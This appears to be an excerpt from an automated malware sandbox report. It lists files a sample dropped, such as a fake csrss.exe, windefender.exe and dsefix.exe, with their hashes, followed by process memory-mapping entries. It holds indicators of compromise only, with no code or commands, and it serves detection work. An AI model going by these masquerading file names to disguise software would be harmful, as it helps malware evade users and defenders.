C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeMD5
d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeMD5
dbdc04946fa3c9c7194da3e2ffd86523
SHA19b34bff78d9591ecd3ca928c54cc02d97dd42c32
SHA2566651e6156af086e120114fb83b10af8b07acac4b73998cf5758bb5fe17677bfc
SHA5120a535dec2a86039a97fb9f77e5efecba52d730584cd9b4fb6caac4152462641bd9845a72a7d72ce6cd3ab33c278cd449ce99e4c4a1eb1871dfd2fb6f82a34f30
-
C:\Windows\rss\csrss.exeMD5
dbdc04946fa3c9c7194da3e2ffd86523
SHA19b34bff78d9591ecd3ca928c54cc02d97dd42c32
SHA2566651e6156af086e120114fb83b10af8b07acac4b73998cf5758bb5fe17677bfc
SHA5120a535dec2a86039a97fb9f77e5efecba52d730584cd9b4fb6caac4152462641bd9845a72a7d72ce6cd3ab33c278cd449ce99e4c4a1eb1871dfd2fb6f82a34f30
-
C:\Windows\windefender.exeMD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
-
C:\Windows\windefender.exeMD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
-
C:\Windows\windefender.exeMD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
-
\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
-
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
335ee604bc5976ee83b38f3dddfed723
SHA12511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac
SHA2568373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f
SHA51287ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee
-
\Users\Admin\AppData\Local\Temp\osloader.exeMD5
78c581e475d59efdebee2d3f4355f03f
SHA1fda6c1f77f772afaa1b44a44c1fb29ee07434d10
SHA2569f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee
SHA51235ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521
-
\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
-
memory/8-40-0x0000000000000000-mapping.dmp
-
memory/8-29-0x0000000000000000-mapping.dmp
-
memory/204-18-0x0000000000000000-mapping.dmp
-
memory/504-30-0x0000000000000000-mapping.dmp
-
memory/696-7-0x0000000002D40000-0x0000000002D41000-memory.dmpFilesize
4KB
-
memory/696-5-0x0000000000000000-mapping.dmp
-
memory/696-8-0x0000000000400000-0x0000000000B11000-memory.dmpFilesize
7.1MB
-
memory/1120-28-0x0000000000000000-mapping.dmp
-
memory/1316-39-0x0000000000000000-mapping.dmp
-
memory/1764-34-0x0000000000000000-mapping.dmp
-
memory/2064-26-0x0000000000000000-mapping.dmp
-
memory/2080-11-0x0000000000000000-mapping.dmp
-
memory/2140-38-0x0000000000000000-mapping.dmp
-
memory/2216-51-0x0000000000000000-mapping.dmp
-
memory/2432-36-0x0000000000000000-mapping.dmp
-
memory/2444-50-0x0000000000000000-mapping.dmp
-
memory/2568-19-0x0000000000000000-mapping.dmp
-
memory/2764-20-0x0000000000000000-mapping.dmp
-
memory/2888-47-0x0000000000400000-0x0000000000897000-memory.dmpFilesize
4.6MB
-
memory/2888-44-0x0000000000000000-mapping.dmp
-
memory/3196-12-0x0000000000000000-mapping.dmp
-
memory/3196-16-0x00000000031B0000-0x00000000031B1000-memory.dmpFilesize
4KB
-
memory/3704-41-0x0000000000000000-mapping.dmp
-
memory/3788-35-0x0000000000000000-mapping.dmp
-
memory/3816-31-0x0000000000000000-mapping.dmp
-
memory/3928-32-0x0000000000000000-mapping.dmp
-
memory/3976-33-0x0000000000000000-mapping.dmp
-
memory/3980-1-0x0000000002CF0000-0x0000000002CF1000-memory.dmpFilesize
4KB
-
memory/3980-2-0x0000000000400000-0x0000000000B11000-memory.dmpFilesize
7.1MB
-
memory/4064-10-0x0000000000000000-mapping.dmp
-
memory/4080-37-0x0000000000000000-mapping.dmp
-
memory/4088-27-0x0000000000000000-mapping.dmp